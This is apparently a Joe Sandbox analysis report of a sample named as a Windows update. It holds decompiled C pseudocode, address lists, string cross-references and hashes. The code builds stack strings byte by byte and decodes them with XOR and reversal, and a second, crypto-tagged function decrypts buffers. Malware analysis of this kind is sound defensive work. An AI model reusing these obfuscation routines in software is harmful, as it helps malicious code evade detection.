				_v156 = 0x3e;
				_v155 = 0x36;
				_v154 = 0x71;
				_v348 = 0xc6;
				_v347 = 0xb2;
				_v346 = 0xd3;
				_v345 = 0xaa;
				_v344 = 0xc6;
				_v343 = 0xa9;
				_t614 = E0040D980( &_v348);
				_push(7);
				_push( &_v144);
				_v528 = _t614;
				_v68 = 0x61;
				_v67 = 0x6e;
				_v66 = 0x64;
				_v65 = 0x65;
				_v64 = 0x72;
				_v63 = 0x73;
				_v62 = 0x6f;
				_v61 = 0x6e;
				_v60 = 0;
				_v144 = 0xae;
				_v143 = 0xa8;
				_v142 = 0xa6;
				_v141 = 0xbf;
				_v140 = 0x70;
				_v139 = 0x89;
				_v138 = 0x13;
				_v356 = 0x11;
				_v355 = 0x65;
				_v354 = 0xd;
				_v353 = 0x62;
				_v352 = 0xf;
				_v351 = 0x6e;
				_v350 = 0x1d;
				_v528 = E0040D980( &_v356);
				_v356 = 0xa8;
				_v355 = 0xa2;
				_v354 = 0xaf;
				_v353 = 0xb1;
				_v352 = 0x15;
				_v351 = 0xd5;
				_v350 = 0x82;
				_v349 = 0x58;
				_t616 = 0;
				_t784 = 7;
				do {
					_t665 =  *((intOrPtr*)(_t791 + _t616 + 0xd0));
					 *((char*)(_t791 + _t616 + 0xd0)) =  *((intOrPtr*)(_t791 + _t784 + 0xd0));
					_t616 = _t616 + 1;
					 *((char*)(_t791 + _t784 + 0xd0)) = _t665;
					_t784 = _t784 - 1;
				} while (_t616 < _t784);
				_v119 = _v355 ^ 0x000000e3;
				_v120 = _v356 ^ 0x00000032;
				_v118 = _v354 ^ 0x000000b6;
				_v116 = _v352 ^ 0x000000c2;
				_v117 = _v353 ^ 0x0000007e;
				_v115 = _v351 ^ 0x000000c0;
				_push(7);
				_v113 = _v349 ^ 0x000000a8;
				_push( &_v192);
				_v114 = _v350 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_v224 = 0x77;
				_v223 = 0x68;
				_v222 = 0x69;
				_v221 = 0x74;
				_v220 = 0x65;
				_v219 = 0;
				_v144 = 0x68;
				_v143 = 0x61;
				_v142 = 0x72;
				_v141 = 0x72;
				_v140 = 0x69;
				_v139 = 0x73;
				_v138 = 0;
				_v192 = 0x2a;
				_v191 = 0x9c;
				_v190 = 0xed;
				_v189 = 0x35;
				_v188 = 0x4a;
				_v187 = 0x35;
				_v186 = 0x68;
				_v364 = 0x4f;
				_v363 = 0x22;
				_v362 = 0x43;
				_v361 = 0x31;
				_v360 = 0x45;
				_v359 = 0x2c;
				_v358 = 0x42;
				_t778 = E0040D980( &_v364);
				_v96 = 0x74;
				_v95 = 0x68;
				_v94 = 0x6f;
				_v93 = 0x6d;
				_v92 = 0x70;
				_v91 = 0x73;
				_v90 = 0x6f;
				_v89 = 0x6e;
				_v88 = 0;
				_v208 = 0x67;
				_v207 = 0x61;
				_v206 = 0x72;
				_v205 = 0x63;
				_v204 = 0x69;
				_v203 = 0x61;
				_v202 = 0;
				_v72 = 0x37;
				_v71 = 0x36;
				_v70 = 0xb3;
				_v69 = 0xc1;
				_v68 = 0x69;
				_v67 = 0x80;
				_push(9);
				_push( &_v72);
				_v66 = 0xc4;
				_v65 = 0x8e;
				_v64 = 0x89;
				_v364 = 0x60;
				_v363 = 0xd;
				_v362 = 0x6c;
				_v361 = 0x1e;
				_v360 = 0x6a;
				_v359 = 3;
				_v358 = 0x6d;
				_v357 = 8;
				_v356 = 0x72;
				_t625 = E0040D980( &_v364);
				_push(6);
				_push( &_v264);
				_t789 = _t625;
				_v128 = 0x72;
				_v127 = 0x6f;
				_v126 = 0x62;
				_v125 = 0x69;
				_v124 = 0x6e;
				_v123 = 0x73;
				_v122 = 0x6f;
				_v121 = 0x6e;
				_v120 = 0;
				_v288 = 0x63;
				_v287 = 0x6c;
				_v286 = 0x61;
				_v285 = 0x72;
				_v284 = 0x6b;
				_v283 = 0;
				_v68 = 0x72;
				_v67 = 0x6f;
				_v66 = 0x64;
				_v65 = 0x72;
				_v64 = 0x69;
				_v63 = 0x67;
				_v62 = 0x75;
				_v61 = 0x65;
				_v60 = 0x7a;
				_v59 = 0;
				_v264 = 0xfd;
				_v263 = 0xda;
				_v262 = 0x64;
				_v261 = 0xb0;
				_v260 = 0x5d;
				_v259 = 0x6c;
				_v352 = 0xc2;
				_v351 = 0xae;
				_v350 = 0xcb;
				_v349 = 0xbc;
				_v348 = 0xd5;
				_v347 = 0xa6;
				_v556 = E0040D980( &_v352);
				_v568 = 0x6c;
				_v567 = 0x65;
				_v566 = 0x65;
				_v565 = 0;
				_v208 = 0x77;
				_v207 = 0x61;
				_v206 = 0x6c;
				_v205 = 0x6b;
				_v204 = 0x65;
				_v203 = 0x72;
				_v202 = 0;
				_v344 = 0x68;
				_v343 = 0x61;
				_v342 = 0x6c;
				_v341 = 0x6c;
				_v340 = 0;
				_v264 = 0x61;
				_v263 = 0x6c;
				_v262 = 0x6c;
				_v261 = 0x65;
				_push(5);
				_push( &_v336);
				_v260 = 0x6e;
				_v259 = 0;
				_v280 = 0x79;
				_v279 = 0x6f;
				_v278 = 0x75;
				_v277 = 0x6e;
				_v276 = 0x67;
				_v275 = 0;
				_v64 = 0x68;
				_v63 = 0x65;
				_v62 = 0x72;
				_v61 = 0x6e;
				_v60 = 0x61;
				_v59 = 0x6e;
				_v58 = 0x64;
				_v57 = 0x65;
				_v56 = 0x7a;
				_v55 = 0;
				_v352 = 0x6b;
				_v351 = 0x69;
				_v350 = 0x6e;
				_v349 = 0x67;
				_v348 = 0;
				_v192 = 0x77;
				_v191 = 0x72;
				_v190 = 0x69;
				_v189 = 0x67;
				_v188 = 0x68;
				_v187 = 0x74;
				_v186 = 0;
				_v320 = 0x6c;
				_v319 = 0x6f;
				_v318 = 0x70;
				_v317 = 0x65;
				_v316 = 0x7a;
				_v315 = 0;
				_v336 = 0xc7;
				_v335 = 0x35;
				_v334 = 0x64;
				_v333 = 0x14;
				_v332 = 0x23;
				_v368 = 0x60;
				_v367 = 8;
				_v366 = 0x61;
				_v365 = 0xd;
				_v364 = 0x61;
				_t627 = E0040D980( &_v368);
				_v376 = 0x68;
				_v375 = 0x3e;
				_v374 = 0xbb;
				_v373 = 0xf0;
				_v372 = 0xec;
				_v371 = 0xa1;
				_t677 = 0;
				_t785 = 5;
				do {
					_v581 =  *((intOrPtr*)(_t791 + _t677 + 0xe0));
					 *((char*)(_t791 + _t677 + 0xe0)) =  *((intOrPtr*)(_t791 + _t785 + 0xe0));
					_t677 = _t677 + 1;
					 *((char*)(_t791 + _t785 + 0xe0)) = _v581;
					_t785 = _t785 - 1;
				} while (_t677 < _t785);
				_v336 = _v376 ^ 0x000000d2;
				_v335 = _v375 ^ 0x0000008f;
				_v334 = _v374 ^ 0x0000009f;
				_v333 = _v373 ^ 0x000000cf;
				_v332 = _v372 ^ 0x0000004a;
				_t684 = 5;
				_v331 = _v371 ^ 0x00000068;
				_v296 = 0x67;
				_v295 = 0x72;
				_v294 = 0x65;
				_v293 = 0x65;
				_v292 = 0x6e;
				_v291 = 0;
				_v396 = 0x61;
				_v395 = 0x64;
				_v394 = 0x61;
				_v393 = 0x6d;
				_v392 = 0x73;
				_v391 = 0;
				_v368 = 0x7a;
				_v367 = 0x24;
				_v366 = 0x9b;
				_v365 = 6;
				_v364 = 0x77;
				_v363 = 0xe5;
				_t786 = 0;
				_v376 = 5;
				do {
					_t752 =  *((intOrPtr*)(_t791 + _t786 + 0xe8));
					 *((char*)(_t791 + _t786 + 0xe8)) =  *((intOrPtr*)(_t791 + _t684 + 0xe8));
					_t686 = _v376;
					_t786 = _t786 + 1;
					 *((char*)(_t791 + _t686 + 0xe8)) = _t752;
					_t684 = _t686 - 1;
					_v581 = _t752;
					_v376 = _t684;
				} while (_t786 < _t684);
				_v376 = _v368 ^ 0x00000087;
				_v375 = _v367 ^ 0x00000016;
				_v374 = _v366 ^ 0x0000006d;
				_v373 = _v365 ^ 0x000000fe;
				_v372 = _v364 ^ 0x00000056;
				_v371 = _v363 ^ 0x0000007a;
				_v556 =  &_v248;
				_v552 =  &_v580;
				_t478 =  &_v320; // 0x6c
				_v548 = _t478;
				_t480 =  &_v168; // 0x68
				_v544 = _t480;
				_v540 =  &_v160;
				_v536 =  &_v192;
				_v532 =  &_v240;
				_v528 =  &_v264;
				_v524 = _v568;
				_v520 =  &_v108;
				_v516 = _v560;
				_v512 =  &_v152;
				_t498 =  &_v256; // 0x65
				_v508 = _t498;
				_v504 =  &_v176;
				_v496 =  &_v120;
				_v492 =  &_v232;
				_v484 =  &_v144;
				 *0x431c89 = 0x19;
				_v132 = 0x67;
				_v131 = 0x6f;
				_v130 = 0x6e;
				_v129 = 0x7a;
				_v128 = 0x61;
				_v127 = 0x6c;
				_v126 = 0x65;
				_v125 = 0x7a;
				_v124 = 0;
				_v368 = 0x6e;
				_v367 = 0x65;
				_v366 = 0x6c;
				_v365 = 0x73;
				_v364 = 0x6f;
				_v363 = 0x6e;
				_v362 = 0;
				_v388 = 0x63;
				_v387 = 0x61;
				_v386 = 0x72;
				_v385 = 0x74;
				_v384 = 0x65;
				_v383 = 0x72;
				_v382 = 0;
				_v500 = _t778;
				_v488 = _t789;
				_v480 =  &_v304;
				_v476 =  &_v84;
				_v472 = _v564;
				_v468 =  &_v576;
				_v464 =  &_v216;
				_v460 =  &_v352;
				_t545 =  &_v272; // 0x61
				_v456 = _t545;
				_v452 =  &_v288;
				_t549 =  &_v72; // 0x69
				_v448 = _t549;
				_v444 =  &_v360;
				_v440 =  &_v200;
				_v432 = _t627;
				_v436 =  &_v328;
				_v428 =  &_v336;
				_v424 =  &_v296;
				_t564 =  &_v132; // 0x67
				_v420 =  &_v396;
				_v416 =  &_v376;
				_v412 = _t564;
				_v408 =  &_v368;
				_v404 =  &_v388;
				_v400 = _v572;
				_t631 = E0040C1D0( &_v368);
				_t787 =  *((intOrPtr*)(_t791 + 0x28 + _t631 % 0x28 * 4));
				_t633 =  *((intOrPtr*)(_t791 + 0x28 + _t631 % 0x28 * 4));
				_t779 = _t633 + 1;
				do {
					_t711 =  *_t633;
					_t633 = _t633 + 1;
				} while (_t711 != 0);
				return E00424873(E004028A0(_v52, _t787, _t633 - _t779), _v68);
			}

0x0040ede0
0x0040ede6
0x0040eded
0x0040edf7
0x0040edff
0x0040ee07
0x0040ee0f
0x0040ee17
0x0040ee1f
0x0040ee27
0x0040ee29
0x0040ee30
0x0040ee37
0x0040ee3e
0x0040ee45
0x0040ee46
0x0040ee4d
0x0040ee4e
0x0040ee6f
0x0040ee7d
0x0040ee8b
0x0040eea1
0x0040eea8
0x0040eeaf
0x0040eeb6
0x0040eebb
0x0040eec0
0x0040eec5
0x0040eec9
0x0040eed1
0x0040eed9
0x0040eee1
0x0040eee9
0x0040eef1
0x0040eef8
0x0040ef00
0x0040ef08
0x0040ef10
0x0040ef18
0x0040ef20
0x0040ef28
0x0040ef2f
0x0040ef37
0x0040ef3f
0x0040ef47
0x0040ef4f
0x0040ef57
0x0040ef5f
0x0040ef67
0x0040ef6f
0x0040ef71
0x0040ef80
0x0040ef87
0x0040ef8e
0x0040ef95
0x0040ef96
0x0040ef9d
0x0040ef9e
0x0040efbc
0x0040efca
0x0040efe0
0x0040efee
0x0040effc
0x0040f012
0x0040f019
0x0040f022
0x0040f02b
0x0040f032
0x0040f03a
0x0040f041
0x0040f049
0x0040f051
0x0040f059
0x0040f061
0x0040f069
0x0040f071
0x0040f079
0x0040f081
0x0040f088
0x0040f090
0x0040f097
0x0040f0a4
0x0040f0a8
0x0040f0b0
0x0040f0b8
0x0040f0c0
0x0040f0c8
0x0040f0d0
0x0040f0d8
0x0040f0e0
0x0040f0e2
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c0
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

a, xrefs: 0040FB54
gibor, xrefs: 0040FE9D
a, xrefs: 0040FDA0
s, xrefs: 0040FD79
d, xrefs: 0040F79A
g, xrefs: 0040F624
d, xrefs: 0040F347
a, xrefs: 0040F62C
e, xrefs: 0040F847
b, xrefs: 0040EED9
e, xrefs: 0040F92A
6, xrefs: 0040F2DF
r, xrefs: 0040F6F4
t, xrefs: 0040F518
i, xrefs: 0040F9A8
g, xrefs: 0040F989
n, xrefs: 0040F615
#, xrefs: 0040FA1E
a, xrefs: 0040F85D
k, xrefs: 0040F971
j, xrefs: 0040EEF8
b, xrefs: 0040F3CE
e, xrefs: 0040FB3D
3, xrefs: 0040F0B0
o, xrefs: 0040F2A0
e, xrefs: 0040F95A
B, xrefs: 0040F5CE
h, xrefs: 0040FA53
lybor, xrefs: 0040FC6D
a, xrefs: 0040FB64
d, xrefs: 0040FA0E
q, xrefs: 0040F2E7
r, xrefs: 0040F357
7, xrefs: 0040F65B
s, xrefs: 0040F35F
z, xrefs: 0040FD52
g, xrefs: 0040FB25
e, xrefs: 0040F84C
r, xrefs: 0040F9A0
r, xrefs: 0040FB2D
m, xrefs: 0040FB6C
], xrefs: 0040F7F9
l, xrefs: 0040F842
b, xrefs: 0040F724
r, xrefs: 0040FDA8
m, xrefs: 0040F5F5
g, xrefs: 0040F913
r, xrefs: 0040F87D
agy, xrefs: 0040FE18
J, xrefs: 0040F196
c, xrefs: 0040EF3F
r, xrefs: 0040FDC0
e, xrefs: 0040F520
>, xrefs: 0040FA5B
n, xrefs: 0040F981
h, xrefs: 0040F508
o, xrefs: 0040EED1
h, xrefs: 0040F596
r, xrefs: 0040F2A8
r, xrefs: 0040F78A
o, xrefs: 0040F298
y, xrefs: 0040EEE1
k, xrefs: 0040EE0F
h, xrefs: 0040F5E5
n, xrefs: 0040FB45
a, xrefs: 0040F942
w, xrefs: 0040F500
o, xrefs: 0040EEBB
y, xrefs: 0040F8F3
k, xrefs: 0040F86D
t, xrefs: 0040F9C0
5, xrefs: 0040FA06
r, xrefs: 0040EEC9
n, xrefs: 0040F36F
p, xrefs: 0040F5FD
eroon, xrefs: 0040FCD5
r, xrefs: 0040EF08
o, xrefs: 0040F8FB
z, xrefs: 0040F962
o, xrefs: 0040F71C
w, xrefs: 0040F855
i, xrefs: 0040F979
e, xrefs: 0040F3BE
a, xrefs: 0040F337
e, xrefs: 0040EEC0
i, xrefs: 0040F644
herej, xrefs: 0040FC78
e, xrefs: 0040F8CB
t, xrefs: 0040F5DD
o, xrefs: 0040F5ED
`, xrefs: 0040F6B4
n, xrefs: 0040FD89
g, xrefs: 0040F9B0
r, xrefs: 0040F634
l, xrefs: 0040F801
o, xrefs: 0040F367
e, xrefs: 0040EF00
w, xrefs: 0040F998
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
irdor, xrefs: 0040FE34
e, xrefs: 0040F875
n, xrefs: 0040F33F
o, xrefs: 0040F792
t, xrefs: 0040FDB0
n, xrefs: 0040F8E4
l, xrefs: 0040FD42
p, xrefs: 0040F39E
n, xrefs: 0040F94A
r, xrefs: 0040F714
s, xrefs: 0040F605
>, xrefs: 0040F2D7
l, xrefs: 0040FD71
d, xrefs: 0040F952
e, xrefs: 0040FB35
n, xrefs: 0040F90B
c, xrefs: 0040F63C
m, xrefs: 0040F6E4
6, xrefs: 0040F663
e, xrefs: 0040EF10
d, xrefs: 0040FB5C
n, xrefs: 0040F93A
s, xrefs: 0040EE07
r, xrefs: 0040F932
o, xrefs: 0040FD81
h, xrefs: 0040F922
h, xrefs: 0040F9B8
e, xrefs: 0040FD4A
i, xrefs: 0040F510
i, xrefs: 0040F72C
r, xrefs: 0040EE1F
e, xrefs: 0040F34F
s, xrefs: 0040FB74
H, xrefs: 0040F069
j, xrefs: 0040EEB6
a, xrefs: 0040F64C
n, xrefs: 0040FD61
i, xrefs: 0040F67B
l, xrefs: 0040F6C4
c, xrefs: 0040FD98
l, xrefs: 0040F865
s, xrefs: 0040F557
u, xrefs: 0040F903
o, xrefs: 0040F60D
e, xrefs: 0040FDB8

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: #$3$5$6$6$7$>$>$B$H$J$]$`$a$a$a$a$a$a$a$a$agy$b$b$b$c$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$j$j$k$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$s$t$t$t$t$u$w$w$w$y$y$z$z
API String ID: 0-1641917991
Opcode ID: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
Instruction ID: c31594d21701e52a224cdcfe6db95929ccafb1db7881ef4c4193a4b74e5cc1ed
Opcode Fuzzy Hash: 2dc069aee45e8ea9a31442a3486fc2dfc51bd1cc8338bbaf5ed13638c82b4ca2
Instruction Fuzzy Hash: 5EA2AE2450D7C189E332C72884587DFBFD25BA6718F488E9EC4ED1B292C6BA0259C777

Uniqueness

Uniqueness Score: -1.00%

Function 0041E3A0, Relevance: 179.1, APIs: 5, Strings: 97, Instructions: 627
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E0041E3A0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				intOrPtr _t571;
				int _t572;
				void* _t575;
				void* _t579;
				void* _t585;
				void* _t586;
				void* _t590;
				CHAR* _t624;
				intOrPtr _t631;
				intOrPtr _t640;
				short _t649;
				short _t659;
				short _t719;
				struct _SECURITY_ATTRIBUTES* _t725;
				void* _t728;
				void* _t731;

				_t731 =  &_v176;
				_t571 =  *0x4310d8; // 0xa9302559
				_v4 = _t571;
				_t728 = __ecx;
				_v104 = 0x7b;
				_v103 = 0x3a;
				_v102 = 0x59;
				_v101 = 0xfe;
				_v100 = 0x78;
				_v99 = 0xb0;
				_v98 = 0xb1;
				_v97 = 0x27;
				_v96 = 0x34;
				_v95 = 0xf8;
				_v94 = 0x7f;
				_v93 = 0x7a;
				_v92 = 6;
				_v91 = 0x30;
				_v90 = 0xcb;
				_v176 = 0x21;
				_v175 = 0x7b;
				_v174 = 0x18;
				_v173 = 0x92;
				_v172 = 0x14;
				_v171 = 0xdf;
				_v170 = 0xc6;
				_v169 = 0x62;
				_v168 = 0x42;
				_v167 = 0x9d;
				_v166 = 0x11;
				_v165 = 0xe;
				_v164 = 0x43;
				_v163 = 0x48;
				_v162 = 0xcb;
				_t572 = 0;
				do {
					 *(_t731 + _t572 + 0x58) =  *(_t731 + _t572 + 0x58) ^  *(_t731 + _t572 + 0x10);
					_t45 = _t572 + 0x5a; // 0x59
					 *(_t731 + _t572 + 0x5a) =  *(_t731 + _t45) ^  *(_t731 + _t572 + 0x12);
					 *(_t731 + _t572 + 0x59) =  *(_t731 + _t572 + 0x59) ^  *(_t731 + _t572 + 0x11);
					 *(_t731 + _t572 + 0x5b) =  *(_t731 + _t572 + 0x5b) ^  *(_t731 + _t572 + 0x13);
					 *(_t731 + _t572 + 0x5c) =  *(_t731 + _t572 + 0x5c) ^  *(_t731 + _t572 + 0x14);
					_t572 = _t572 + 5;
				} while (_t572 < 0xf);
				_t631 =  *0x431f34; // 0x32
				 *0x431f34 = _t631 + 0x32;
				_v56 = 0xbf;
				_v55 = 0xb5;
				_v54 = 0x53;
				_v53 = 0xa2;
				_v52 = 0x92;
				_v51 = 0x76;
				_v50 = 0x85;
				_v49 = 0xd9;
				_v48 = 4;
				_v47 = 0x41;
				_v46 = 0x85;
				_v45 = 0x70;
				_v44 = 0x49;
				_v43 = 0xf6;
				_v42 = 0x7d;
				_v41 = 0xd2;
				_v140 = 9;
				_v139 = 0x53;
				_v138 = 0x12;
				_v137 = 0x53;
				_v136 = 0x3f;
				_v135 = 0x53;
				_v134 = 0x3c;
				_v133 = 0x4b;
				_v132 = 0xe;
				_v131 = 0x78;
				_v130 = 0x1d;
				_v129 = 0x73;
				_v128 = 7;
				_v127 = 0x35;
				_v126 = 0x70;
				_v125 = 8;
				E0041E250(0x10,  &_v140,  &_v56);
				_v92 = 0x7b;
				_v91 = 0x3a;
